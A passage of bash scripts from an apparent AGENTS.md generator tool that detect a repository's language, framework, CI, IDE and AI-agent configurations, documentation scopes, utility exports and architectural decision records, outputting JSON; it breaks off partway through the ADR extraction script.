                  elif [ "$has_plugin" = true ]; then
                      PROJECT_TYPE="claude-code-plugin"
                      LANGUAGE="claude-code-plugin"
                  else
                      # Skills without plugin.json (standalone skill repo)
                      if [ "$skill_count" -gt 1 ]; then
                          PROJECT_TYPE="claude-code-skill-monorepo"
                      else
                          PROJECT_TYPE="claude-code-skill"
                      fi
                      LANGUAGE="claude-code-skill"
                  fi
      
                  # Check for shell scripts (common in skills)
                  local sh_count
                  sh_count=$(find . -maxdepth 5 -name "*.sh" -type f 2>/dev/null | wc -l)
                  if [ "$sh_count" -gt 3 ]; then
                      BUILD_TOOL="bash"
                      [ -f ".shellcheckrc" ] && QUALITY_TOOLS+=("shellcheck") || true
                  fi
              fi
          fi
      
          # Container-primary detection (Dockerfile-only repos)
          # Must come before bash fallback - some container repos have helper scripts
          if [ "$LANGUAGE" = "unknown" ]; then
              if [ -f "Dockerfile" ]; then
                  # Check if this is primarily a container image project
                  # Indicators: no source code, or only build scripts
                  local has_source=false
                  # Check for significant source files
                  [ "$(find . -maxdepth 3 -name '*.go' -o -name '*.py' -o -name '*.php' -o -name '*.ts' -o -name '*.js' 2>/dev/null | head -5 | wc -l)" -gt 3 ] && has_source=true
      
                  if [ "$has_source" = false ]; then
                      LANGUAGE="docker"
                      PROJECT_TYPE="container-image"
                      BUILD_TOOL="docker"
                      PACKAGE_MANAGER="none"
                      FRAMEWORK="docker"
      
                      # Detect if it's a compose-based project
                      if [ -f "docker-compose.yml" ] || [ -f "compose.yml" ] || [ -f "compose.yaml" ]; then
                          PROJECT_TYPE="container-stack"
                      fi
                  fi
              fi
          fi
      
          # Fallback: Check for bash/shell projects
          if [ "$LANGUAGE" = "unknown" ]; then
              local sh_count
              sh_count=$(find . -maxdepth 5 -name "*.sh" -type f 2>/dev/null | wc -l)
              if [ "$sh_count" -gt 3 ]; then
                  LANGUAGE="bash"
                  PROJECT_TYPE="bash-scripts"
                  BUILD_TOOL="bash"
                  PACKAGE_MANAGER="none"
                  # Check for shellcheck
                  [ -f ".shellcheckrc" ] && QUALITY_TOOLS+=("shellcheck") || true
              fi
          fi
      }
      
      # Detect task runner (does NOT override package_manager)
      if [ -f "Makefile" ]; then
          TASK_RUNNER="make"
      elif [ -f "justfile" ] || [ -f "Justfile" ]; then
          TASK_RUNNER="just"
      elif [ -f "Taskfile.yml" ] || [ -f "Taskfile.yaml" ]; then
          TASK_RUNNER="task"
      fi
      
      # Detect Docker (check both old and new compose naming)
      [ -f "Dockerfile" ] || [ -f "docker-compose.yml" ] || [ -f "compose.yml" ] || [ -f "compose.yaml" ] && HAS_DOCKER=true
      
      # Detect CI
      if [ -d ".github/workflows" ]; then
          CI="github-actions"
      elif [ -f ".gitlab-ci.yml" ]; then
          CI="gitlab-ci"
      elif [ -f ".circleci/config.yml" ]; then
          CI="circleci"
      fi
      
      # Detect IDE configurations
      [ -f ".editorconfig" ] && IDE_CONFIGS+=("editorconfig") || true
      [ -d ".vscode" ] && IDE_CONFIGS+=("vscode") || true
      [ -d ".idea" ] && IDE_CONFIGS+=("idea") || true
      [ -d ".phpstorm" ] && IDE_CONFIGS+=("phpstorm") || true
      [ -d ".fleet" ] && IDE_CONFIGS+=("fleet") || true
      [ -f ".sublime-project" ] && IDE_CONFIGS+=("sublime") || true
      { [ -d ".vim" ] || [ -f ".vimrc" ]; } && IDE_CONFIGS+=("vim") || true
      { [ -d ".nvim" ] || [ -f ".nvimrc" ]; } && IDE_CONFIGS+=("neovim") || true
      
      # Detect AI coding agent configurations
      [ -d ".cursor" ] && AGENT_CONFIGS+=("cursor") || true
      { [ -d ".claude" ] || [ -f "CLAUDE.md" ] || [ -f ".claude/CLAUDE.md" ]; } && AGENT_CONFIGS+=("claude") || true
      [ -d ".windsurf" ] && AGENT_CONFIGS+=("windsurf") || true
      { [ -d ".aider" ] || [ -f ".aider.conf.yml" ]; } && AGENT_CONFIGS+=("aider") || true
      [ -d ".continue" ] && AGENT_CONFIGS+=("continue") || true
      { [ -f "copilot-instructions.md" ] || [ -f ".github/copilot-instructions.md" ]; } && AGENT_CONFIGS+=("copilot") || true
      [ -d ".codeium" ] && AGENT_CONFIGS+=("codeium") || true
      [ -d ".tabnine" ] && AGENT_CONFIGS+=("tabnine") || true
      { [ -d ".sourcegraph" ] || [ -f ".sourcegraph/cody.json" ]; } && AGENT_CONFIGS+=("cody") || true
      
      # Run detection
      detect_language
      
      # Multi-stack detection: detect secondary languages/technologies
      # STACKS array is populated here after primary language detection
      detect_stacks() {
          # Always add primary language to stacks (if known)
          [ "$LANGUAGE" != "unknown" ] && STACKS+=("$LANGUAGE")
      
          # Detect Docker as secondary stack (if not already primary)
          if [ "$LANGUAGE" != "docker" ] && [ "$HAS_DOCKER" = true ]; then
              STACKS+=("docker")
          fi
      
          # Detect frontend stack in backend projects
          if [[ "$LANGUAGE" =~ ^(php|go|python)$ ]]; then
              # Check for Node.js frontend
              if [ -f "package.json" ]; then
                  # Check what kind of frontend
                  if jq -e '.dependencies."react" // .dependencies."next"' package.json &>/dev/null; then
                      STACKS+=("react")
                  elif jq -e '.dependencies."vue"' package.json &>/dev/null; then
                      STACKS+=("vue")
                  elif jq -e '.dependencies."svelte"' package.json &>/dev/null; then
                      STACKS+=("svelte")
                  else
                      STACKS+=("typescript")
                  fi
              fi
              # Check for frontend in subdirectories
              for frontend_dir in web frontend client ui internal/web; do
                  if [ -d "$frontend_dir" ] && [ -f "$frontend_dir/package.json" ]; then
                      if jq -e '.dependencies."react" // .dependencies."next"' "$frontend_dir/package.json" &>/dev/null; then
                          [[ ! " ${STACKS[*]} " =~ " react " ]] && STACKS+=("react")
                      elif jq -e '.dependencies."vue"' "$frontend_dir/package.json" &>/dev/null; then
                          [[ ! " ${STACKS[*]} " =~ " vue " ]] && STACKS+=("vue")
                      fi
                  fi
              done
          fi
      
          # Detect backend in frontend projects (monorepo patterns)
          if [[ "$LANGUAGE" == "typescript" ]]; then
              # Check for Go backend
              if [ -f "go.mod" ] || [ -d "server" ] && [ -f "server/go.mod" ]; then
                  STACKS+=("go")
              fi
              # Check for Python backend
              if [ -f "pyproject.toml" ] || { [ -d "server" ] && [ -f "server/pyproject.toml" ]; }; then
                  STACKS+=("python")
              fi
              # Check for PHP backend
              if [ -f "composer.json" ] || { [ -d "api" ] && [ -f "api/composer.json" ]; }; then
                  STACKS+=("php")
              fi
          fi
      }
      
      detect_stacks
      
      # Output JSON
      # Handle empty arrays
      if [ ${#QUALITY_TOOLS[@]} -eq 0 ]; then
          TOOLS_JSON="[]"
      else
          TOOLS_JSON="$(printf '%s\n' "${QUALITY_TOOLS[@]}" | jq -R . | jq -s .)"
      fi
      
      if [ ${#IDE_CONFIGS[@]} -eq 0 ]; then
          IDE_JSON="[]"
      else
          IDE_JSON="$(printf '%s\n' "${IDE_CONFIGS[@]}" | jq -R . | jq -s .)"
      fi
      
      if [ ${#AGENT_CONFIGS[@]} -eq 0 ]; then
          AGENT_JSON="[]"
      else
          AGENT_JSON="$(printf '%s\n' "${AGENT_CONFIGS[@]}" | jq -R . | jq -s .)"
      fi
      
      if [ ${#STACKS[@]} -eq 0 ]; then
          STACKS_JSON="[]"
      else
          STACKS_JSON="$(printf '%s\n' "${STACKS[@]}" | jq -R . | jq -s .)"
      fi
      
      jq -n \
          --arg type "$PROJECT_TYPE" \
          --arg lang "$LANGUAGE" \
          --arg ver "$VERSION" \
          --arg build "$BUILD_TOOL" \
          --arg pkg_mgr "$PACKAGE_MANAGER" \
          --arg task_runner "$TASK_RUNNER" \
          --arg framework "$FRAMEWORK" \
          --argjson docker "$HAS_DOCKER" \
          --argjson tools "$TOOLS_JSON" \
          --arg test "$TEST_FRAMEWORK" \
          --arg ci "$CI" \
          --argjson ide_configs "$IDE_JSON" \
          --argjson agent_configs "$AGENT_JSON" \
          --argjson stacks "$STACKS_JSON" \
          '{
              type: $type,
              language: $lang,
              version: $ver,
              build_tool: $build,
              package_manager: $pkg_mgr,
              task_runner: $task_runner,
              framework: $framework,
              has_docker: $docker,
              quality_tools: $tools,
              test_framework: $test,
              ci: $ci,
              ide_configs: $ide_configs,
              agent_configs: $agent_configs,
              stacks: $stacks
          }'
      
    • detect-scopes.sh 13.3 KB
      #!/usr/bin/env bash
      # Detect directories that should have scoped AGENTS.md files
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      MIN_FILES=5  # Minimum files to warrant scoped AGENTS.md
      
      # Get project info
      PROJECT_INFO=$(bash "$(dirname "$0")/detect-project.sh" "$PROJECT_DIR")
      LANGUAGE=$(echo "$PROJECT_INFO" | jq -r '.language')
      
      scopes=()
      
      # Function to count source files in a directory
      count_source_files() {
          local dir="$1"
          local pattern="$2"
          find "$dir" -maxdepth 3 -type f -name "$pattern" 2>/dev/null | wc -l
      }
      
      # Function to add scope (uses jq for proper JSON escaping)
      add_scope() {
          local path="$1"
          local type="$2"
          local count="$3"
      
          scopes+=("$(jq -n --arg p "$path" --arg t "$type" --argjson c "$count" \
              '{path: $p, type: $t, files: $c}')")
      }
      
      # Language-specific scope detection
      case "$LANGUAGE" in
          "go")
              # Check common Go directories
              [ -d "internal" ] && {
                  count=$(count_source_files "internal" "*.go")
                  [ "$count" -ge "$MIN_FILES" ] && add_scope "internal" "backend-go" "$count"
              }
      
              [ -d "pkg" ] && {
                  count=$(count_source_files "pkg" "*.go")
                  [ "$count" -ge "$MIN_FILES" ] && add_scope "pkg" "backend-go" "$count"
              }
      
              [ -d "cmd" ] && {
                  count=$(count_source_files "cmd" "*.go")
                  [ "$count" -ge 3 ] && add_scope "cmd" "cli" "$count"
              }
      
              [ -d "examples" ] && {
                  count=$(count_source_files "examples" "*.go")
                  [ "$count" -ge 3 ] && add_scope "examples" "examples" "$count"
              }
      
              [ -d "testutil" ] && {
                  count=$(count_source_files "testutil" "*.go")
                  [ "$count" -ge 3 ] && add_scope "testutil" "testing" "$count"
              }
      
              [ -d "docs" ] && {
                  count=$(find docs -type f \( -name "*.md" -o -name "*.rst" \) | wc -l)
                  [ "$count" -ge 3 ] && add_scope "docs" "documentation" "$count"
              }
              ;;
      
          "php")
              # Determine PHP backend type based on framework
              FRAMEWORK=$(echo "$PROJECT_INFO" | jq -r '.framework')
              PROJECT_TYPE=$(echo "$PROJECT_INFO" | jq -r '.type')
      
              # Select appropriate backend template
              # Differentiate between extension/bundle (standalone package) vs project (full installation)
              if [ "$PROJECT_TYPE" = "php-typo3-extension" ]; then
                  PHP_BACKEND_TYPE="typo3-extension"
              elif [ "$PROJECT_TYPE" = "php-typo3" ]; then
                  PHP_BACKEND_TYPE="typo3-project"
              elif [ "$PROJECT_TYPE" = "php-oro-bundle" ]; then
                  PHP_BACKEND_TYPE="oro-bundle"
              elif [ "$PROJECT_TYPE" = "php-oro" ]; then
                  PHP_BACKEND_TYPE="oro-project"
              elif [ "$FRAMEWORK" = "symfony" ] || [ "$PROJECT_TYPE" = "php-symfony" ]; then
                  PHP_BACKEND_TYPE="symfony"
              else
                  PHP_BACKEND_TYPE="backend-php"
              fi
      
              # Check common PHP directories
              [ -d "Classes" ] && {
                  count=$(count_source_files "Classes" "*.php")
                  [ "$count" -ge "$MIN_FILES" ] && add_scope "Classes" "$PHP_BACKEND_TYPE" "$count"
              }
      
              [ -d "src" ] && {
                  count=$(count_source_files "src" "*.php")
                  [ "$count" -ge "$MIN_FILES" ] && add_scope "src" "$PHP_BACKEND_TYPE" "$count"
              }
      
              [ -d "Tests" ] && {
                  count=$(count_source_files "Tests" "*.php")
                  if [ "$count" -ge 3 ]; then
                      # Use TYPO3-specific testing template for TYPO3 extensions
                      if [ "$PROJECT_TYPE" = "php-typo3-extension" ]; then
                          add_scope "Tests" "typo3-testing" "$count"
                      else
                          add_scope "Tests" "testing" "$count"
                      fi
                  fi
              }
      
              [ -d "tests" ] && {
                  count=$(count_source_files "tests" "*.php")
                  [ "$count" -ge 3 ] && add_scope "tests" "testing" "$count"
              }
      
              [ -d "Documentation" ] && {
                  count=$(find Documentation -type f \( -name "*.rst" -o -name "*.md" \) | wc -l)
                  if [ "$count" -ge 3 ]; then
                      # Use TYPO3-specific docs template for TYPO3 extensions
                      if [ "$PROJECT_TYPE" = "php-typo3-extension" ]; then
                          add_scope "Documentation" "typo3-docs" "$count"
                      else
                          add_scope "Documentation" "documentation" "$count"
                      fi
                  fi
              }
      
              [ -d "Resources" ] && {
                  count=$(find Resources -type f | wc -l)
                  [ "$count" -ge 5 ] && add_scope "Resources" "resources" "$count"
              }
      
              # Oro-specific: check for Bundle directories within projects
              if [ "$PROJECT_TYPE" = "php-oro" ]; then
                  for bundle_dir in src/*/Bundle/*/; do
                      [ -d "$bundle_dir" ] && {
                          count=$(count_source_files "$bundle_dir" "*.php")
                          [ "$count" -ge "$MIN_FILES" ] && add_scope "${bundle_dir%/}" "oro-bundle" "$count"
                      }
                  done
              fi
              ;;
      
          "typescript")
              # Check common TypeScript/JavaScript directories
              [ -d "src" ] && {
                  count=$(count_source_files "src" "*.ts")
                  ts_count=$count
                  count=$(count_source_files "src" "*.tsx")
                  tsx_count=$count
      
                  if [ "$tsx_count" -ge "$MIN_FILES" ]; then
                      add_scope "src" "frontend-typescript" "$tsx_count"
                  elif [ "$ts_count" -ge "$MIN_FILES" ]; then
                      add_scope "src" "backend-typescript" "$ts_count"
                  fi
              }
      
              [ -d "components" ] && {
                  count=$(count_source_files "components" "*.tsx")
                  [ "$count" -ge "$MIN_FILES" ] && add_scope "components" "frontend-typescript" "$count"
              }
      
              [ -d "pages" ] && {
                  count=$(count_source_files "pages" "*.tsx")
                  [ "$count" -ge 3 ] && add_scope "pages" "frontend-typescript" "$count"
              }
      
              [ -d "app" ] && {
                  count=$(count_source_files "app" "*.tsx")
                  [ "$count" -ge 3 ] && add_scope "app" "frontend-typescript" "$count"
              }
      
              if [ -d "server" ] || [ -d "backend" ]; then
                  dir=$([ -d "server" ] && echo "server" || echo "backend")
                  count=$(count_source_files "$dir" "*.ts")
                  [ "$count" -ge "$MIN_FILES" ] && add_scope "$dir" "backend-typescript" "$count"
              fi
      
              if [ -d "__tests__" ] || [ -d "tests" ]; then
                  dir=$([ -d "__tests__" ] && echo "__tests__" || echo "tests")
                  count=$(count_source_files "$dir" "*.test.ts")
                  [ "$count" -ge 3 ] && add_scope "$dir" "testing" "$count"
              fi
              ;;
      
          "python")
              # Determine Python template: use python-modern if pyproject.toml with ruff/mypy
              PYTHON_TEMPLATE="backend-python"
              if [ -f "pyproject.toml" ]; then
                  if grep -q 'ruff' pyproject.toml 2>/dev/null || grep -q 'mypy' pyproject.toml 2>/dev/null; then
                      PYTHON_TEMPLATE="python-modern"
                  fi
              fi
      
              # Check common Python directories
              [ -d "src" ] && {
                  count=$(count_source_files "src" "*.py")
                  [ "$count" -ge "$MIN_FILES" ] && add_scope "src" "$PYTHON_TEMPLATE" "$count"
              }
      
              [ -d "tests" ] && {
                  count=$(count_source_files "tests" "*.py")
                  [ "$count" -ge 3 ] && add_scope "tests" "testing" "$count"
              }
      
              [ -d "scripts" ] && {
                  count=$(count_source_files "scripts" "*.py")
                  [ "$count" -ge 3 ] && add_scope "scripts" "cli" "$count"
              }
      
              [ -d "docs" ] && {
                  count=$(find docs -type f \( -name "*.md" -o -name "*.rst" \) | wc -l)
                  [ "$count" -ge 3 ] && add_scope "docs" "documentation" "$count"
              }
              ;;
      esac
      
      # Check for web subdirectories (cross-language)
      # IMPORTANT: Only create frontend-typescript scopes if Node toolchain exists
      # Either: package.json in scope dir, package.json at root, or lockfile at root
      has_node_toolchain() {
          local scope_dir="$1"
          [ -f "$scope_dir/package.json" ] || \
          [ -f "package.json" ] || \
          [ -f "pnpm-lock.yaml" ] || \
          [ -f "yarn.lock" ] || \
          [ -f "bun.lockb" ] || \
          [ -f "package-lock.json" ]
      }
      
      for web_dir in internal/web web frontend client ui; do
          if [ -d "$web_dir" ]; then
              count=$(find "$web_dir" -type f \( -name "*.ts" -o -name "*.tsx" -o -name "*.js" -o -name "*.jsx" \) 2>/dev/null | wc -l)
              if [ "$count" -ge "$MIN_FILES" ] && has_node_toolchain "$web_dir"; then
                  add_scope "$web_dir" "frontend-typescript" "$count"
              fi
          fi
      done
      
      # Check for Claude Code skills (each skill gets its own scope)
      if [ -d "skills" ]; then
          for skill_dir in skills/*/; do
              if [ -f "${skill_dir}SKILL.md" ]; then
                  # Count files in skill (sh, md, yaml)
                  count=$(find "$skill_dir" -type f \( -name "*.sh" -o -name "*.md" -o -name "*.yaml" -o -name "*.yml" \) 2>/dev/null | wc -l)
                  add_scope "${skill_dir%/}" "claude-code-skill" "$count"
              fi
          done
      fi
      
      # Check for DDEV local development environment (cross-language)
      if [ -d ".ddev" ]; then
          count=$(find .ddev -type f \( -name "*.yaml" -o -name "*.yml" \) 2>/dev/null | wc -l)
          [ "$count" -ge 1 ] && add_scope ".ddev" "ddev" "$count"
      fi
      
      # Check for Docker/container directories (cross-language)
      # These get "docker" scope type for container-focused documentation
      for docker_dir in docker deploy .docker infrastructure infra; do
          if [ -d "$docker_dir" ]; then
              # Count Docker-related files
              count=$(find "$docker_dir" -type f \( -name "Dockerfile*" -o -name "*.dockerfile" -o -name "docker-compose*.yml" -o -name "compose*.yml" -o -name "*.yaml" -o -name "*.sh" \) 2>/dev/null | wc -l)
              [ "$count" -ge 2 ] && add_scope "$docker_dir" "docker" "$count"
          fi
      done
      
      # Check for CI/CD configurations (cross-language)
      # GitHub Actions
      if [ -d ".github/workflows" ]; then
          count=$(find .github/workflows -type f -name "*.yml" -o -name "*.yaml" 2>/dev/null | wc -l)
          [ "$count" -ge 1 ] && add_scope ".github/workflows" "github-actions" "$count"
      fi
      
      # GitLab CI - use .gitlab directory if exists, otherwise skip (root AGENTS.md covers it)
      if [ -f ".gitlab-ci.yml" ]; then
          if [ -d ".gitlab" ]; then
              count=$(find .gitlab -type f -name "*.yml" 2>/dev/null | wc -l)
              [ "$count" -ge 1 ] && add_scope ".gitlab" "gitlab-ci" "$count"
          fi
          # Note: If no .gitlab/ directory, the root AGENTS.md will mention gitlab-ci.yml
      fi
      
      # Concourse CI
      concourse_detected=false
      concourse_dir=""
      for concourse_pattern in "ci/pipeline.yml" "ci/pipeline.yaml" "concourse/pipeline.yml"; do
          if [ -f "$concourse_pattern" ]; then
              concourse_dir=$(dirname "$concourse_pattern")
              concourse_detected=true
              break
          fi
      done
      # Check for pipeline.yml at root - only create scope if ci/ directory exists
      if [ "$concourse_detected" = false ]; then
          if [ -f "pipeline.yml" ] || [ -f "pipeline.yaml" ]; then
              if [ -d "ci" ]; then
                  concourse_dir="ci"
                  concourse_detected=true
              fi
              # If no ci/ directory, root AGENTS.md will cover the pipeline file
          fi
      fi
      # Also check for *-pipeline.yml at root - only create scope if ci/ directory exists
      if [ "$concourse_detected" = false ]; then
          pipeline_files=$(find . -maxdepth 1 -name "*-pipeline.yml" -o -name "*-pipeline.yaml" 2>/dev/null | wc -l)
          if [ "$pipeline_files" -gt 0 ] && [ -d "ci" ]; then
              concourse_dir="ci"
              concourse_detected=true
          fi
      fi
      if [ "$concourse_detected" = true ] && [ -n "$concourse_dir" ] && [ -d "$concourse_dir" ]; then
          count=$(find "$concourse_dir" -type f \( -name "*.yml" -o -name "*.yaml" -o -name "*.sh" \) 2>/dev/null | wc -l)
          [ "$count" -ge 1 ] && add_scope "$concourse_dir" "concourse" "$count"
      fi
      
      # Output JSON
      # A directory that already carries an AGENTS.md IS a scope, whatever the
      # language heuristics above concluded. Detection knows a fixed set of
      # directory names; a project may reasonably keep a scoped file somewhere else
      # (TYPO3 `Configuration/`, for one). Leaving such a file out of the root index
      # means an agent reading the root never learns it exists — the precedence rule
      # the index exists to serve silently stops working, and nothing reports it.
      while IFS= read -r existing; do
          [ -n "$existing" ] || continue
          dir="${existing%/AGENTS.md}"
          dir="${dir#./}"
          case "$dir" in
              "" | "." | "AGENTS.md") continue ;;        # the root file itself
          esac
          # `${scopes[@]}` on an empty array counts as unset under `set -u` before
          # bash 4.4, and this loop is reached with nothing detected yet whenever a
          # project's only scoped file sits in an unrecognised directory.
          for known in ${scopes[@]+"${scopes[@]}"}; do
              [ "$(printf '%s' "$known" | jq -r '.path')" = "$dir" ] && continue 2
          done
          count=$(find "$dir" -maxdepth 1 -type f 2>/dev/null | wc -l | tr -d ' ')
          add_scope "$dir" "existing" "$count"
      done < <(find . -name AGENTS.md -not -path './.git/*' -not -path './node_modules/*' \
                   -not -path './vendor/*' -not -path './.Build/*' 2>/dev/null | sort)
      
      if [ ${#scopes[@]} -eq 0 ]; then
          echo '{"scopes": []}'
      else
          # Join scopes with commas via explicit loop — avoids IFS= entirely
          # (the opengrep bash.lang.security.ifs-tampering rule flags any
          # IFS= assignment, even inside subshells).
          joined="${scopes[0]}"
          for ((i=1; i<${#scopes[@]}; i++)); do
              joined+=",${scopes[i]}"
          done
          echo "{\"scopes\": [$joined]}"
      fi
      
    • detect-utilities.sh 4.3 KB
      #!/usr/bin/env bash
      # Detect utility files and libraries to prevent reinvention
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Check if git is available
      if ! git rev-parse --git-dir > /dev/null 2>&1; then
          echo ""
          exit 0
      fi
      
      # Get project language
      PROJECT_INFO=$(bash "$(dirname "$0")/detect-project.sh" "$PROJECT_DIR" 2>/dev/null || echo '{"language":"unknown"}')
      LANGUAGE=$(echo "$PROJECT_INFO" | jq -r '.language')
      
      # Common utility directory names
      UTIL_DIRS=("utils" "util" "helpers" "helper" "lib" "shared" "common" "pkg")
      
      # Find utility directories
      find_util_dirs() {
          for dir in "${UTIL_DIRS[@]}"; do
              [ -d "$dir" ] && echo "$dir"
              [ -d "src/$dir" ] && echo "src/$dir"
              [ -d "internal/$dir" ] && echo "internal/$dir"
          done
      }
      
      # Extract exports from TypeScript index file
      extract_ts_exports() {
          local file="$1"
          grep -oE "export \{ [^}]+ \}" "$file" 2>/dev/null | \
              sed 's/export { //; s/ }//; s/,/\n/g' | \
              tr -d ' ' | head -10
      }
      
      # Extract function names from Go file
      extract_go_exports() {
          local dir="$1"
          find "$dir" -name "*.go" -type f 2>/dev/null | while read -r file; do
              grep -oE "^func [A-Z][a-zA-Z0-9_]*" "$file" 2>/dev/null | \
                  sed 's/func //' | head -5
          done | sort -u | head -10
      }
      
      # Extract function names from Python file
      extract_py_exports() {
          local dir="$1"
          find "$dir" -name "*.py" ! -name "__*" -type f 2>/dev/null | while read -r file; do
              grep -oE "^def [a-z_][a-z0-9_]*" "$file" 2>/dev/null | \
                  sed 's/def //' | head -5
          done | sort -u | head -10
      }
      
      # Infer utility purpose from name
      infer_purpose() {
          local name="$1"
          case "$name" in
              *date*|*time*|*format*Date*) echo "date/time formatting" ;;
              *http*|*fetch*|*api*|*client*) echo "HTTP requests" ;;
              *log*) echo "logging" ;;
              *valid*|*check*) echo "validation" ;;
              *parse*) echo "parsing" ;;
              *format*) echo "formatting" ;;
              *error*) echo "error handling" ;;
              *auth*|*token*) echo "authentication" ;;
              *cache*) echo "caching" ;;
              *config*) echo "configuration" ;;
              *string*|*str*) echo "string manipulation" ;;
              *file*|*path*) echo "file operations" ;;
              *) echo "utility" ;;
          esac
      }
      
      # Generate output
      output=""
      
      while IFS= read -r dir; do
          [ -z "$dir" ] && continue
      
          case "$LANGUAGE" in
              "typescript")
                  # Check for index.ts barrel export
                  if [ -f "$dir/index.ts" ]; then
                      while IFS= read -r export; do
                          [ -z "$export" ] && continue
                          purpose=$(infer_purpose "$export")
                          output="$output| $purpose | \`$export\` | \`$dir/\` |\n"
                      done < <(extract_ts_exports "$dir/index.ts")
                  fi
                  ;;
      
              "go")
                  while IFS= read -r func; do
                      [ -z "$func" ] && continue
                      purpose=$(infer_purpose "$func")
                      output="$output| $purpose | \`$func\` | \`$dir/\` |\n"
                  done < <(extract_go_exports "$dir")
                  ;;
      
              "python")
                  while IFS= read -r func; do
                      [ -z "$func" ] && continue
                      purpose=$(infer_purpose "$func")
                      output="$output| $purpose | \`$func\` | \`$dir/\` |\n"
                  done < <(extract_py_exports "$dir")
                  ;;
      
              "php")
                  # List PHP utility classes
                  while read -r file; do
                      class=$(grep -oE "class [A-Z][a-zA-Z0-9_]+" "$file" 2>/dev/null | head -1 | sed 's/class //')
                      [ -n "$class" ] && {
                          purpose=$(infer_purpose "$class")
                          relpath="${file#./}"
                          output="$output| $purpose | \`$class\` | \`$relpath\` |\n"
                      }
                  done < <(find "$dir" -name "*.php" -type f 2>/dev/null | head -20)
                  ;;
          esac
      done < <(find_util_dirs)
      
      # Check for common utility files at root or src
      for util_file in "utils.ts" "utils.js" "helpers.ts" "helpers.js" "utils.py" "helpers.py"; do
          for prefix in "" "src/"; do
              file="${prefix}${util_file}"
              [ -f "$file" ] && output="$output| utilities | \`$file\` | \`$file\` |\n"
          done
      done
      
      # Output (remove empty lines, duplicates)
      echo -e "$output" | sed '/^$/d' | sort -u | head -15
      
    • extract-adrs.sh 6.8 KB
      #!/usr/bin/env bash
      # Extract Architectural Decision Records (ADRs) from common locations
      # Returns JSON with ADR metadata for AGENTS.md generation
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Common ADR directory locations
      ADR_DIRS=(
          "docs/adr" "docs/adrs" "docs/decisions" "docs/architecture/decisions"
          "Documentation/ADR" "Documentation/Decisions"
          "adr" "ADR"
      )
      
      # Find the first existing ADR directory
      ADR_DIR=""
      for dir in "${ADR_DIRS[@]}"; do
          if [ -d "$dir" ]; then
              ADR_DIR="$dir"
              break
          fi
      done
      
      # If no ADR directory found, check for standalone ADR files in docs/
      if [ -z "$ADR_DIR" ]; then
          # Look for ADR-named files anywhere in docs/
          if [ -d "docs" ]; then
              adr_file=$(find docs -maxdepth 2 -type f \( -name "ADR-*.md" -o -name "adr-*.md" -o -name "*-adr-*.md" -o -name "ADR*.rst" \) 2>/dev/null | head -1)
              if [ -n "$adr_file" ]; then
                  ADR_DIR=$(dirname "$adr_file")
              fi
          fi
      fi
      
      # No ADRs found
      if [ -z "$ADR_DIR" ]; then
          jq -n '{adr_count: 0, adr_directory: null, adrs: []}'
          exit 0
      fi
      
      # Collect ADR files
      ADR_FILES=()
      while IFS= read -r -d '' file; do
          ADR_FILES+=("$file")
      done < <(find "$ADR_DIR" -maxdepth 1 -type f \( -name "ADR-*.md" -o -name "adr-*.md" -o -name "*-adr-*.md" -o -name "ADR*.rst" -o -name "adr*.rst" -o -name "*.md" \) -print0 2>/dev/null | sort -z)
      
      # Deduplicate and filter — only include files that look like ADRs
      FILTERED_FILES=()
      for file in "${ADR_FILES[@]}"; do
          basename=$(basename "$file")
          # Accept files with ADR in the name, or numbered files (common ADR pattern like 0001-*.md)
          if [[ "$basename" =~ ^[Aa][Dd][Rr][-_] ]] || [[ "$basename" =~ ^[0-9]{3,4}[-_] ]] || [[ "$basename" =~ -[Aa][Dd][Rr][-_] ]]; then
              FILTERED_FILES+=("$file")
          fi
      done
      
      if [ ${#FILTERED_FILES[@]} -eq 0 ]; then
          jq -n --arg dir "$ADR_DIR" '{adr_count: 0, adr_directory: $dir, adrs: []}'
          exit 0
      fi
      
      # Extract metadata from each ADR
      ADRS_JSON="[]"
      for file in "${FILTERED_FILES[@]}"; do
          filename=$(basename "$file")
      
          # Read file content
          content=$(cat "$file" 2>/dev/null) || continue
          [ -z "$content" ] && continue
      
          # Extract title: first heading (# or ##)
          title=""
          while IFS= read -r line; do
              if [[ "$line" =~ ^#{1,2}[[:space:]]+(.*) ]]; then
                  title="${BASH_REMATCH[1]}"
                  # Strip leading ADR number prefix like "ADR-001:" or "ADR 1:"
                  title=$(echo "$title" | sed -E 's/^ADR[-_ ]?[0-9]+:?\s*//i')
                  break
              fi
          done <<< "$content"
          [ -z "$title" ] && title="$filename"
      
          # Extract status: look for "Status:" line or **Status** pattern
          status="Unknown"
          while IFS= read -r line; do
              # Match patterns like "## Status", then read next non-empty line
              if [[ "$line" =~ ^#{1,3}[[:space:]]+[Ss]tatus ]]; then
                  # Read lines after the status heading to find the actual status
                  found_heading=false
                  while IFS= read -r sline; do
                      if [ "$found_heading" = false ]; then
                          found_heading=true
                          continue
                      fi
                      # Skip empty lines
                      [[ -z "${sline// /}" ]] && continue
                      # Extract the status value
                      # shellcheck disable=SC2016  # sed script: the backticks and
                      # asterisks are literal regex, not shell expansions.
                      sline=$(echo "$sline" | sed -E 's/^\*\*//;s/\*\*.*$//;s/^- //;s/^`//;s/`$//')
                      if [[ "$sline" =~ ^(Accepted|Proposed|Deprecated|Superseded|Rejected|Draft|Approved) ]]; then
                          status="${BASH_REMATCH[1]}"
                      fi
                      break
                  done
                  break
              fi
              # Match inline patterns: "**Status**: Accepted", "**Status:** Accepted", "Status: Accepted"
              if [[ "$line" =~ \*?\*?[Ss]tatus\*?\*?:?[[:space:]]*(Accepted|Proposed|Deprecated|Superseded|Rejected|Draft|Approved) ]]; then
                  status="${BASH_REMATCH[1]}"
                  break
              fi
          done <<< "$content"
      
          # Extract summary: first paragraph after Context heading, or first paragraph after title
          summary=""
          # Try "Context" section first
          in_context=false
          while IFS= read -r line; do
              if [[ "$line" =~ ^#{1,3}[[:space:]]+(Context|Background) ]]; then
                  in_context=true
                  continue
              fi
              if [ "$in_context" = true ]; then
                  [[ -z "${line// /}" ]] && continue
                  # Stop at next heading
                  [[ "$line" =~ ^# ]] && break
                  # Take the first non-empty, non-heading line
                  summary=$(echo "$line" | sed -E 's/^\*\*//;s/\*\*$//;s/^- //')
                  # Truncate to ~120 chars
                  if [ ${#summary} -gt 120 ]; then
                      summary="${summary:0:117}..."
                  fi
                  break
              fi
          done <<< "$content"
      
          # Fallback: first paragraph after title
